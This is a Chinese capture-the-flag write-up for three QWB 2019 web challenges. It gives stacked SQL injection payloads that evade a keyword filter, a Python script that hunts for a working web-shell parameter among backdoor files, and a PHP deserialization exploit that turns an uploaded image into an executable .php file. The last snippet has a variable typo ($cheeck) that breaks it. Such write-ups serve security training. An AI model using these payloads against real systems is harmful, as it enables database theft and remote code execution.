QWB2019-WEB-WP

随便注

如题名描述,是一道注入题。
Fuzz一下,发现

  • 1.WAF
    return preg_match("/select|update|delete|drop|insert|where|./i", $inject);
  • 2.通过报错注入出来的数据库名(supersqli)、用户等信息(果然是随便注)

猜测后台SQL语句应该为:
select * from supersqli.table_name where id='' ;

由于过滤了select关键词,无法自定义进行数据查询操作。
经过进一步的测试后发现可以堆叠注入,通过’;show tables from supersqli;#等payload可以得知flag存在于1919810931114514表的flag字段中。

这里还是由于select被过滤不能自定义查询内容,结合后台SQL语句,得出思路:将1919810931114514表改名为words,这样在后台SQL语句不变的情况下仍然可以查询得到flag的内容。

最终payload如下:

';ALTER TABLE `1919810931114514` ADD `id` INT(1) NOT NULL DEFAULT '1' AFTER `flag`;%23

(由于1919810931114514表中并没有id列,因此先添加id列)

';alter+table+`1919810931114514`+rename+to+`xxx`;alter+table+`words`+rename+to+`zzz`;alter+table+`xxx`+rename+to+`words`;%23

最后直接查询就可以得到原1919810931114514表中的内容。

赛后学习一波ChaMd5师傅的操作

1';create procedure vk()
begin
  Set @v_sql=concat('sel','ect * from `1919810931114514`;');
  Prepare stmt from @v_sql;
  EXECUTE stmt;
  deallocate Prepare stmt;
end;
call vk();-- -

高明的黑客

下载www.tar.gz后发现是3000多个“木马”文件。
简单审计一下发现虽然有很多命令执行的地方,但在此之前都已经将GET或POST参数赋空值,或者加上恒为假的if判断,于是乎写了个脚本提取每个文件中的GET、POST参数,在本地测试是否能够命令执行,最终在测试GET参数的过程中发现其中一个能用的shell并且获得其参数。

import requests
import re
import os
from time import sleep

flies = os.listdir('./src')
for i in flies:
    url = 'http://127.0.0.1/src/'+i
    f = open('./src/'+i)
    data = f.read()
    f.close()
    reg = re.compile(r'(?<=_GET\[\').*(?=\'\])')
    params = reg.findall(data)
    for j in params:
        payload = url + '/?' + j + '=echo 123456123456123456123456'
        print payload
        req=requests.get(payload)
        if '123456123456123456123456' in req.content:
            print payload
            exit();

upload

下载备份文件www.tar.gz进行源码审计
漏洞点在Profile类中的upload_img()函数中:

    public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

通过copy($this->filename_tmp, $this->filename);就可以任意更改文件名了。
exp如下:

class Register
{
    public $checker;
    public $registed;
}

class Profile 
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;
}

$check = new Register();
$check->registed=0;
$check->checker = new Profile();
$check->checker->except=array('index'=>'upload_img');
$check->checker->ext=1;
$check->checker->filename_tmp="./upload/98acc62aa02eda032d1caed497ce72a0/0412c29576c708cf0155e8de242169b1.png";
$check->checker->filename="./upload/98acc62aa02eda032d1caed497ce72a0/0412c29576c708cf0155e8de242169b1.php";
echo base64_encode(serialize($cheeck));

你可能感兴趣的:(QWB2019-WEB-WP)